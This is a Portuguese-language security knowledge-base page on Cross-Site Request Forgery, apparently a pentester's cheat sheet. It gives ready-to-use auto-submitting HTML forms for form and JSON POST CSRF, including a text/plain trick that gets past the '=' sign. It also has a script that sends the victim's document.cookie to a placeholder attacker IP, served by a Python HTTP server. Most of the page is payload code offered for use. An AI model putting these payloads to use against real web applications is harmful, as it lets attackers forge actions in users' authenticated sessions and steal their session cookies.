> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/ataques/web-exploitation/csrf.md).

# CSRF

O CSRF (Cross-Site Request Forgery ou Falsificação de Requisição entre sites) é um tipo de ataque que se aproveita das sessões autenticadas dos usuários em aplicativos WEB. Tirando proveito da sessão já estabelecida, o invasor pode, por exemplo, inserir URL com parâmetros maliciosos em imagens e fazer com que a vítima faça algo sem o seu conhecimento.

### Auto Submit

Útil quando fizer o alvo clicar em algo ou carregar algum conteúdo externo automaticamente.

#### POST com Formulário Comum

```markup
<html>
	<body onload="document.getElementById('csrf').submit()">
		<form id="csrf" action="http://ptl-409a305a-0389da50.libcurl.so/share" method="POST">
			<input name="user" type="hidden" value="<user>" >
			<input name="pass" type="hidden" value="<pass>" >
		</form>
	</body>
</html>
```

#### Post JSON

Note que há o parâmetro `fake` e um `value` com o valor  `"}`, isso é preciso pois será preciso fazer um bypass no sinal de `=` que é inserido no final. Note também que não estamos passando um `application/json`, mas sim um `text/plain`.

```markup
<html>
	<body onload="document.getElementById('csrf').submit()">
		<form id="csrf" action="http://<hacker_site>" method="POST" enctype="text/plain">
			<input name='{"user":"<user>","pass":"<pass>","fake":"' value='"}' >
		</form>
	</body>
</html>
```

### Pegando Cookies

Execute no host atacante:

```markup
python -m SimpleHTTPServer
```

Execute no host alvo:

```markup
<script> var xmlHttp = new XMLHttpRequest();
    xmlHttp.open( "GET", "http://<ip_atacante>/?cookie=" + document.cookie, false ); 
    xmlHttp.send( null );
    xmlHttp.responseText;
</script>
```
